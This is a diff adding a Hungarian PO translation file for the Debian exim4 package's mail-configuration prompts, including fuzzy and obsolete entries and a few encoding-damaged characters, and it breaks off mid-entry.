+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2006-10-14 14:39+0100\n"
+"Last-Translator: SZERVÃC Attila <sas@321.hu>\n"
+"Language-Team: Hungarian <debian-l10n-hungarian@lists.debian.org>\n"
+"Language: hu\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: Plural-Forms: nplurals=2; plural=n>1;\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Eltávolítod a spool könyvtárban lévő kézbesítetlen leveleket?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Kézbesítetlen levelek vannak a /var/spool/exim4/input könyvtárban. Az Exim "
+"eltávolítása után annak újratelepítésééig ezek így is maradnak."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"E lehetőség elvetésével a spool könyvtár megmarad, lehetővé téve a sorban "
+"lévő üzenetek kézbesítését az Exim újratelepítésekor."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Az exim4-config csomag újrakonfigurálása e csomag helyett"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+#, fuzzy
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Az Exim4 beállítása az exim4-config önálló csomagban van. Az Exim4 "
+"újrakonfigurálásához használd a dpkg-reconfigure exim4-config parancsot."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internetes gép; levélküldés és -fogadás közvetlenül SMTP-vel"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "levélküldés \"smarthost\" útján; -fogadás SMTP vagy fetchmail révén"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "levélküldés \"smarthost\" útján; nincs helyi levelezés"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "csak helyi kézbesítés; hálózatban nem"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "konfigurálás mellőzése"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Levelezési konfiguráció általános típusa:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Válaszd az igényeidnek leginkább megfelelő levelező kiszolgáló beállítás "
+"típust."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"A dinamikus IP-című rendszerek, így a betárcsázók is leveleiket általában "
+"egy más, úgynevezett \"smarthost\" gépen át küldik, mert az Interneten lévő "
+"sok címzett levél-szemét védelem címén gátolja a dinamikus IP-címekről "
+"érkező leveleket"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"A dinamikus IP-címekkel rendelkező gépek is képesek fogadni leveleiket, de a "
+"helyi kézbesítés teljesen ki is kapcsolható (kivéve a root és postmaster "
+"leveleit)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "A levelezőrendszert tényleg konfigurálatlanul hagyod?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"A levelezőrendszer beállításáig nem lesz használható. A későbbi beállítás "
+"elvégezhető kézzel, vagy a \"dpkg-reconfigure exim4-config\" root "
+"felhasználókénti futtatásával."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "A rendszer levelezésben használt neve:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"A \"levél név\" annak a tartománynak neve, mely tartomány nélküli "
+"levélcímeket \"minősít\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"E nevet más programok is használják. Egyedi, teljes tartomány név (FQDN) "
+"legyen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Például, ha egy levél cím a helyi gépen foo@tartomány.példa, e lehetőség "
+"helyes értéke tartomány.példa"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"E név nem jelenik meg a kimenő levelek From: soraiban átíró állapotban."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Más címzettek, melyre leveleket fogadsz:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Add meg pontosvesszővel elválasztva a címzett tartományokat, melyeket e gép "
+"végcélnak tekint, kivéve saját helyi neveit (${fqdn}) és \"localhost\"). E "
+"tartományok szokásos neve \"helyi tartományok\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Alapértelmezetten minden helyi tartomány azonos kezelést kap. Ha az a.példa "
+"és b.példa is helyi tartomány, végül a fiók@a.példa és fiók@b.példa is "
+"ugyanoda lesz kézbesítve. Tartomány nevek eltérő kezelése később beállító "
+"fájlok módosítását igényli."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Levéltovábbítása fogadott tartományok:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Add meg pontosvesszőkkel elválasztva a címzett tartományokat, melyekre e "
+"rendszer leveleket továbbítson, például mint pót MX vagy levél átjáró. Ez "
+"azt jelenti, hogy e rendszer bárhonnan az Internetről elfogad leveleket e "
+"tartományokra és a helyi kézbesítési szabályoknak megfelelően kézbesíti őket."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Ne említs helyi tartományokat itt. Helyettesítő karakterek használhatók."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Levéltovábbításra fogadott gépek:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Adj meg pontosvesszőkkel elválasztva IP-tartományokat, melyek számára e "
+"rendszer tetszőlegesen továbbít leveleket továbbít mint smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"A szabvány cím/hossz formát használd (például 194.222.242.0/24 vagy "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "Ha e rendszer nem smarthost másoknak, hagyd üresen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Helyi felhasználók levelein feltüntetendő tartománynév:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"A kimenő levelek helyi levelező neve rejtése bekapcsolva. Ezért meg kell "
+"adni a tartomány nevét, melyet e rendszer a helyi felhasználók küldő címei "
+"tartomány részeként használjon."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "A kimenő smarthost IP-címe vagy gépneve:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Add meg az e rendszer által kimenő smarthost-ként használt levelező "
+"kiszolgáló IP-címét vagy gépnevét. Ha a smarthost számára a TCP/25 port nem "
+"megfelelő, adj hozzá 2 kettőspontot és a port számát (például smarthost."
+"példa:587 vagy 192.168.254.254::2525). Az IPv6 címekben dupla kettőspont "
+"kell."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Ha a smarthost hitelesítést igényel, lásd a /usr/share/doc/exim4-base/README."
+"Debian.gz-t az SMTP-hitelesítés beállításokról."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "A \"root\" és \"postmaster\" felhasználóknak címzett leveleket kapja:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"A \"postmaster\", \"root\" és más rendszer-fiókok leveleit a rendszergazda "
+"által használt normál felhasználói fiókba kell irányítani."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Ha ez ez érték üresen marad, az ilyen levél a /var/mail/mail-be kerül, mely "
+"nem ajánlott."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"A postmaster leveleit ajánlott helyben olvasni, nem máshová továbbítani, "
+"azért az itt felsorolt felhasználók ne továbbítsák leveleiket más gépre "
+"(legalább egyikük). Egy \"real-\" előtag kikényszeríti a helyi kézbesítést."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Több felhasználónevet szóközzel kell elálasztani."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Bejövő SMTP-kapcsolatokat figyelő IP-címek:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Add meg az IP-címeket pontosvesszővel elválasztva. Az Exim SMTP figyelő "
+"démon minden itt megadott IP-címen figyel."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ha üresen marad, az Exim az összes elérhető hálózati csatolón figyeli a "
+"kapcsolatokat."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ha e rendszer csak helyi szolgáltatásoktól, mint például fetchmail vagy "
+"email-kliens (MUA) fogad leveleket (más gépektől nem), érdemes tiltani a "
+"helyi Exim külső kapcsolatait. Ez a 127.0.0.1 megadásával érhető el. Ez "
+"kikapcsolja a nyilvános hálózati csatolókon való figyelést."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Minimalizálod a DNS-kérések számát (szükséges kapcsolódáskor)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Normál módú üzemeltetéskor az Exim induláskor és levelek fogadásakor vagy "
+"küldésekor DNS-kéréseket tesz. Ennek célja a naplózás és lehetővé teszi a "
+"bedrótozott értékek számának alacsonyan tartását a beállításban."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ha e rendszer nem bír állandó DNS feloldóval (például Internet hozzáférése "
+"egy igény szerinti betárcsázós vonal) ez nem-kívánt következményekkel "
+"járhat. Például az Exim indítása vagy a várakozó sor futtatása (még ha nincs "
+"is várakozó levél) drága betárcsázást okozhat."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"E lehetőség választandó, ha a rendszer szükség szerinti betárcsázást "
+"használ. Ãllandó Internet eléréssel, e lehetÅ‘ség legyen kapcsolva."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Levelező kiszolgáló beállítás"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Konfiguráció szétvágása kisebb fájlokba?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"A Debian levő exim4 csomagoknál lehetséges a \"beállítás összefogása\" egy "
+"nagy monolitikus fájlba (/etc/exim4/exim4.conf.template) és \"beállítás "
+"szétvgása\", ahol az Exim beállítás az /etc/exim4/conf.d/ mintegy 50 db. "
+"kisebb fájljából épül fel."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"A beállítás egyben tartása jobb nagy módosításokra és általában stabilabb, a "
+"szétvágással kényelmesebbek a kis módosítások, de könnyebb elrontani."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"A beállítás részletei a /usr/share/doc/exim4-base/README.Debian.gz fájlban "
+"találhatók."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Elrejted a helyi levelezési nevet a kimenő levelekből?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"A kimenő levelek fejléce átírható, mintha más gépről jönnének. E lehetőség "
+"választásakor a From, Reply-To, Sender és Return-Path mezőkben lévő "
+"\"${mailname}\" \"localhost\" és \"${dc_other_hostnames}\" átírásra kerül."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox formátum a /var/mail könyvtárban"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir formátum a saját könyvtárban"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Kézbesítési mód helyi levelekhez:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Az Exim a helyben kézbesített leveleket több formában tudja tárolni. A "
+"legáltalánosabban használtak az mbox és Maildir. Az mbox az egész levél-"
+"mappát a /var/mail könyvtárban 1 fájlban tárolja. A Maildir formátum minden "
+"egyes üzenetet külön fájlban tárol a ~/Maildir/ könyvtárban."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Jó tudni, hogy Debian rendszerben lévő legtöbb levelező eszköz a helyi "
+"kézbesítési módot alapértelmezetten mbox formában feltételezi."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Ãtrakod az exim(v3) kézbesítetlen leveleket az exim4 sorba?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Kézbesítetlen levelek vannak az exim(v3) (vagy exim-tls(v3)) /var/spool/"
+#~ "exim/input könyvtárban."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "E lehetőség választása az üzeneteket az exim4 sorba teszi (/var/spool/"
+#~ "exim4/input/), ahol majd az exim4 kezeli."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Ez egyirányú: az Exim4 kezeli az exim(v3) sort, nem fordítva. Tedd át az "
+#~ "üzeneteket, ha nem tervezel visszatérni az exim(v3)-hoz. Egyébként az "
+#~ "üzeneteket kézzel kell mozgatni később."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Üresen hagyva az Exim nem kézbesít helyben."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Figyelem: ez csak odafelé működik, mivel az exim4 képes az exim(v3)-spool "
+#~ "kezelésére, de visszafelé ez nem áll."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Csak akkor tedd át a leveleket, ha nem tervezed az exim(v3)-ra "
+#~ "visszatérést, egyébként a leveleket ne most, hanem az átállás után kézzel "
+#~ "mozgasd."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Ha vannak továbbiak, azokat kettőspontokkal elválasztva add meg. Ha "
+#~ "nincsenek, hagyd üresen."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Add meg a tartományokat, melyekről leveleket továbbításra elfogadsz."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Az ilyen tartományok levelei az Interneten akárhol eredhetnek, attól "
+#~ "függetlenül elfogadja és továbbítja azokat. Helyi tartományokat itt ne "
+#~ "adj meg."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "A megadott tartományokat kettőspontok válasszák el. Illesztőkarakterek is "
+#~ "szerepelhetnek."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Mivel a kimenő levelekben eltünteted a helyi levelezési nevet, meg kell "
+#~ "adni a helyi felhasználóktól származó leveleken feltüntetendő "
+#~ "tartománynevet; ez tipikusan a levelek fogadására szolgáló gép neve."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Hol olvassák a felhasználók a leveleiket?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "E gép kimenő leveleit kezelő gép (\"smarthost\"):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Add meg a kimenő leveleket továbbító gép nevét."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\", \"root\", and other system accounts is "
+#~ "usually redirected to the user account of the actual system "
+#~ "administrator. If you leave this value empty, such mail will be saved in /"
+#~ "var/mail/mail, which is not recommended. Note that postmaster's mail "
+#~ "should be read on the system to which it is directed, rather than being "
+#~ "forwarded elsewhere, so (at least one of) the users you choose should not "
+#~ "redirect their mail off this machine. Use a \"real-\" prefix to force "
+#~ "local delivery."
+#~ msgstr ""
+#~ "A \"postmaster\", \"root\" és egyéb rendszerfiókok részére küldött "
+#~ "leveleket általában a tényleges rendszeradminisztrátornak szokták "
+#~ "továbbítani. Ha üresen marad, az ilyen levelek a /var/mail/mail-be "
+#~ "kerülnek, ami nem éppen optimális müködés. Fontos továbbá, hogy a "
+#~ "\"postmaster\" részére küldött leveleket az adott gépen érdemes olvasni, "
+#~ "kifelé továbbítás nélkül, ezért az itt megadott felhasználók legalább "
+#~ "egyike ne továbbítsa a leveleit másik gépre. Egy \"real-\" előtag "
+#~ "megadásával kényszeríthető a helyi kézbesítés."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Hálózati aktivitásra éledő kapcsolatnál, érdemes ezt bekapcsolni, "
+#~ "egyébként nem."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Válaszd az igényeidnek leginkább megfelelő konfigurációtípust."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Kétség esetén, ne a szétosztott konfigurációs fájlokat válaszd."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "egyedi Exim(v3)-beállítások kézi átkonvertálása"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Kézzel konfigurálod az Exim4-et?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Egyedi Exim(v3) beállítások kézi átkonvertálását tervezed. Ebben a "
+#~ "telepítés után az exim_convert4r4(8) eszköz segíthet. Érdemes elolvasni "
+#~ "az /usr/share/doc/exim4-base/examples/example.conf.gz és az /usr/share/"
+#~ "doc/exim4-base/README.Debian.gz fájlokat!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "A levelezőrendszer a konfigurálás végigvitele híján egyelőre "
+#~ "működésképtelen állapotban marad."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "A \"levelezésben használt név\" a kimenő hír- és levélüzenetekben "
+#~ "megjelenő címeknek a gép nevéből származó (a felhasználónév és a @-jel "
+#~ "után álló) része (hacsak felülírással el nem rejted)."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Add meg a helyi géphálózatokat, melyekről leveleket továbbításra "
+#~ "elfogadsz."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Itt szerepeljen a jelen gépet \"smarthost\"-ként használó minden más gép."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "IPv6-címekben dupla kettőspontok, \"négyespontok\" kellenek (pl. "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Kettőspontokkal elválasztva add meg a figyelő IP-címek listáját. Az IPv6-"
+#~ "címekben dupla kettőspontok, \"négyespontok\" kellenek (pl. "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Az Exim v4 konfigurálása (exim4-config)"
+
+#, fuzzy
+#~ msgid ""
+#~ "If you are configuring this system without local mail delivery this name "
+#~ "won't appear on From: lines of mail, as rewriting is used."
+#~ msgstr ""
+#~ "Ha a jelen gépet \"szatellit\"-ként konfigurálja, akkor a címen végzett "
